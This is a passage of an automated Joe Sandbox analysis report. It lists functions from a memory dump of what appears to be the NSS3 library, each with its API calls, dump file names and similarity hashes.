Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

PR_Free.NSS3(?), ref: 6C4B0A6C
PR_Free.NSS3(?), ref: 6C4B0A87

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 6c9eea88a306e4972f7a20c8d6a6bed6999cdd9fb7557243bdefc10c154e3e14
Instruction ID: d378a9dc72371db022b31cf1157dd80ebede54c5b53a1c870531b8588edd0213
Opcode Fuzzy Hash: 6c9eea88a306e4972f7a20c8d6a6bed6999cdd9fb7557243bdefc10c154e3e14
Instruction Fuzzy Hash: FF110FF1A01B80DBEB10DF29CA81E56B7A8BB5531AF44592AD816A2E00E731F458C7A1

Function 6C4D8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C4E0710), ref: 6C4D8FF1
PR_CallOnce.NSS3(6C622158,6C4D9150,00000000,?,?,?,6C4D9138,?,6C4E0710), ref: 6C4D9029
calloc.MOZGLUE(00000001,00000000,?,?,6C4E0710), ref: 6C4D904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C4E0710), ref: 6C4D9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C4E0710), ref: 6C4D9078

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 8a9b0a56cb54dffdce9710c5f54e27c640be10bd5dafa07c0c5d3cc5ce7425ce
Instruction ID: ea856d0c96d3628b14182a46bd24ba899b144072e6ee8558d271ffb2e9821a61
Opcode Fuzzy Hash: 8a9b0a56cb54dffdce9710c5f54e27c640be10bd5dafa07c0c5d3cc5ce7425ce
Instruction Fuzzy Hash: 6111023170011157EB11AAAAAC74E6A32BCEB927AAF520421FD44D2B41EB57EC4582E5

Function 6C4ECD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C501E10: TlsGetValue.KERNEL32 ref: 6C501E36
Part of subcall function 6C501E10: EnterCriticalSection.KERNEL32(?,?,?,6C4DB1EE,2404110F,?,?), ref: 6C501E4B
Part of subcall function 6C501E10: PR_Unlock.NSS3 ref: 6C501E76

free.MOZGLUE(?,6C4ED079,00000000,00000001), ref: 6C4ECDA5
PK11_FreeSymKey.NSS3(?,6C4ED079,00000000,00000001), ref: 6C4ECDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C4ED079,00000000,00000001), ref: 6C4ECDCF
DeleteCriticalSection.KERNEL32(?,6C4ED079,00000000,00000001), ref: 6C4ECDE2
free.MOZGLUE(?), ref: 6C4ECDE9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: dac66f6aa941467570d3aadfc9eb58526540da40fd1b605d5fa6047bc63952e5
Instruction ID: 095326ad591b47fdd4a561ff555e88edb059df7c1bd563e625ad669fa40ac1d0
Opcode Fuzzy Hash: dac66f6aa941467570d3aadfc9eb58526540da40fd1b605d5fa6047bc63952e5
Instruction Fuzzy Hash: 4811A3B2B01111BBDB00EB69EC85D9A7B6DFF4826BB150132E909C7E01D732E824C7D1

Function 6C552CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C555B40: PR_GetIdentitiesLayer.NSS3 ref: 6C555B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C552CEC

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_EnterMonitor.NSS3(?), ref: 6C552D02
PR_EnterMonitor.NSS3(?), ref: 6C552D1F
PR_ExitMonitor.NSS3(?), ref: 6C552D42
PR_ExitMonitor.NSS3(?), ref: 6C552D5B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: e302ffc44f949f99080f9ec748104f8c60f7dc5edd5305874b9a2ff8e1e65d46
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 830188B5911200DBE6309E25FC45BC7B7A5EF85318F404526E85A86721E632F9268792

Function 6C552D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C555B40: PR_GetIdentitiesLayer.NSS3 ref: 6C555B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C552D9C

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_EnterMonitor.NSS3(?), ref: 6C552DB2
PR_EnterMonitor.NSS3(?), ref: 6C552DCF
PR_ExitMonitor.NSS3(?), ref: 6C552DF2
PR_ExitMonitor.NSS3(?), ref: 6C552E0B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: e34a7cb1ae0b26d1f051c096fcb3f7d0462b4c745c897a329cbaec3500a4795f
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: FD01C4B1A01200DBEB309E26FC05BC7B7A1EF81318F440436E85A86B21E732FC358792

Function 6C4EAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C4D3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4EAE42), ref: 6C4D30AA
Part of subcall function 6C4D3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D30C7
Part of subcall function 6C4D3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C4D30E5
Part of subcall function 6C4D3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C4D3116
Part of subcall function 6C4D3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C4D312B
Part of subcall function 6C4D3090: PK11_DestroyObject.NSS3(?,?), ref: 6C4D3154
Part of subcall function 6C4D3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C4C99FF,?,?,?,?,?,?,?,?,?,6C4C2D6B,?), ref: 6C4EAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C4C99FF,?,?,?,?,?,?,?,?,?,6C4C2D6B,?), ref: 6C4EAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4EAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4EAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C4C2D6B,?,?), ref: 6C4EAEA3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 96aa93dde2d4de065dc8cef2dffc37d2ab236169e7a3c5ab2c28748a739b1cc8
Instruction ID: f23c034ee8fc5b372ad266147abf679cc095c02023438b719e5cfcbf64e67c80
Opcode Fuzzy Hash: 96aa93dde2d4de065dc8cef2dffc37d2ab236169e7a3c5ab2c28748a739b1cc8
Instruction Fuzzy Hash: 6A01D6B6B8401057E601E12CAC95EAB39B88F9B65EF0A0135F90AC7B01F615DD0A42E2

Function 6C5DBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C5D7AFE,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DBDC3
free.MOZGLUE(?,?,6C5D7AFE,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C5D7AFE,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DBDE9
free.MOZGLUE(?,00000000,00000000,?,6C5D7AFE,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DBE21
free.MOZGLUE(00000000,00000000,?,6C5D7AFE,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DBE32

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 35d84954a09d406d39099788174ea199211efa5278510940ce08b74a6132152a
Instruction ID: 7ede82fe734c8429d9978233bbdb3d97237f892831d8f55c028f1a666b43b935
Opcode Fuzzy Hash: 35d84954a09d406d39099788174ea199211efa5278510940ce08b74a6132152a
Instruction Fuzzy Hash: 7D114CB1B112019FDF00EF2BC889B06BBB5FB4A764F450029D60AC7700D739A414CB9E

Function 6C5D0930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C5D0C83), ref: 6C5D094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C5D0C83), ref: 6C5D0974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D0983
_PR_MD_UNLOCK.NSS3(?,?,6C5D0C83), ref: 6C5D099F
OutputDebugStringA.KERNEL32(?,?,6C5D0C83), ref: 6C5D09B2

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 4cdb17b6c97b32fe472ea6c159ddf9630ab9d8aa966b90d683134697d8feb370
Instruction ID: bfb9be16345d8f36de5397e6b0d3044c7d73fb88487c8ece3ff16fbd0d49d08e
Opcode Fuzzy Hash: 4cdb17b6c97b32fe472ea6c159ddf9630ab9d8aa966b90d683134697d8feb370
Instruction Fuzzy Hash: F4011BB4709250DFDF00AF2ECCD5F9D3BB9AB86719F18012AF44583652D63AE891CA1D

Function 6C5D7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C5D7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D7C83
malloc.MOZGLUE(00000001), ref: 6C5D7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5D7C9F
PR_GetCurrentThread.NSS3 ref: 6C5D7CAD

Part of subcall function 6C589BF0: TlsGetValue.KERNEL32(?,?,?,6C5D0A75), ref: 6C589C07

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 3fe2502e7ea3949f5b4fc98a43c560169a7d3e07a591ffe1dcf63e08eeac0547
Instruction ID: 2717b8554c9f3fac1a15b0c1a49a3e3bcabeaf68aa575c28908e3a784df70825
Opcode Fuzzy Hash: 3fe2502e7ea3949f5b4fc98a43c560169a7d3e07a591ffe1dcf63e08eeac0547
Instruction Fuzzy Hash: 67F0C2B1910716AFEB009F3EAC099477798EF402A5B028436E809C3B10E731F514CAE9

Function 6C5DADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C5DA6D8), ref: 6C5DAE0D
free.MOZGLUE(?), ref: 6C5DAE14
DeleteCriticalSection.KERNEL32(6C5DA6D8), ref: 6C5DAE36
free.MOZGLUE(?), ref: 6C5DAE3D
free.MOZGLUE(00000000,00000000,?,?,6C5DA6D8), ref: 6C5DAE47

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 85fba668dca984786f96a2b1aa1e4cc7f5802bdc94932a840c98af6c4eed429c
Instruction ID: 8dc3ac2e30e2cbeb2d44a81437c6c91b600ca2ae897c08ad5635e5bda6ae8d00
Opcode Fuzzy Hash: 85fba668dca984786f96a2b1aa1e4cc7f5802bdc94932a840c98af6c4eed429c
Instruction Fuzzy Hash: 85F0C275201A02A7CB019F6DA84991B77B8FE86776B100339E12B83D40E732F111C7D9

Function 6C555990 Relevance: 7.5, APIs: 5, Instructions: 33COMMON

Download Yara Rule

APIs

SECKEY_DestroyPublicKey.NSS3(?), ref: 6C55599D

Part of subcall function 6C4D2D70: PK11_DestroyObject.NSS3(28438DC7,FF0477FF,6C4C99FF,?,?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4D2D98
Part of subcall function 6C4D2D70: PORT_FreeArena_Util.NSS3(28438DC7,00000000,00000000,?,6C4EAE6C,00000000,?,00000000,?,6C4C99FF,?), ref: 6C4D2DBB

SECKEY_DestroyPrivateKey.NSS3 ref: 6C5559AB

Part of subcall function 6C4D2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C4D2D3C
Part of subcall function 6C4D2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C4D2D5F

PR_DestroyRWLock.NSS3 ref: 6C5559B9
PK11_FreeSymKey.NSS3(?), ref: 6C5559DC
PK11_FreeSymKey.NSS3 ref: 6C5559EA

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Destroy$FreeK11_$Arena_ObjectUtil$LockPrivatePublic
String ID:
API String ID: 33988338-0
Opcode ID: cc6cbb936a154c469cb12a05436b107c0363c76d2d209819b350cc00ee9a2830
Instruction ID: f4e235794213596b2a98212c754056588c848e8e4795ef87cc47c430a38bbcd4
Opcode Fuzzy Hash: cc6cbb936a154c469cb12a05436b107c0363c76d2d209819b350cc00ee9a2830
Instruction Fuzzy Hash: 77F0A4B1F14B4292EB01DB269D80B51B33CBBA210CF001235E80853611FB69B5E4C665

Function 6C549850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 233COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,?,?), ref: 6C549AE4

Strings

`@_l, xrefs: 6C54991B, 6C549A15, 6C549A23
0@_l, xrefs: 6C5498B3
(, xrefs: 6C5499BF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error
String ID: ($0@_l$`@_l
API String ID: 2619118453-3132340091
Opcode ID: 0ffc752400162681f5665650a295ed66cd2e0a9617f74f6ce75a369054f228ea
Instruction ID: 171f57830d4c4c23c05997eb708d2081a473f15d111003652ad82478b239861d
Opcode Fuzzy Hash: 0ffc752400162681f5665650a295ed66cd2e0a9617f74f6ce75a369054f228ea
Instruction Fuzzy Hash: CC910331A04219DBDF14DF95CD86BEDBBB9FF48308F28C129E8556BA51E3309985CB90

Function 6C45BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C5FAAF9,?), ref: 6C45BE37

Strings

winFileSize, xrefs: 6C45BF07
P]l, xrefs: 6C45BED4
]l, xrefs: 6C45BDD7

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: ]l$P]l$winFileSize
API String ID: 4246442610-4155388624
Opcode ID: 437dcbfed9f583544bde1643851a6f5e8bfa1ac912ed92a36af565b46e860a5f
Instruction ID: 5d49507e104826dac92bae227954e9de225419687955041344a6b96d96fe73a8
Opcode Fuzzy Hash: 437dcbfed9f583544bde1643851a6f5e8bfa1ac912ed92a36af565b46e860a5f
Instruction Fuzzy Hash: A2619F31B04609DFDB05CF29C490EA9B7B1FF8A355B8846A9D8158BF44D730E86ACBD1

Function 6C4588D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C458990

Strings

@zFl, xrefs: 6C458A31

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memset
String ID: @zFl
API String ID: 2221118986-17936215
Opcode ID: 595d2d6e1db26e6036a4004323d3d9c0d647e330ae3d9872f3516f160606c0e6
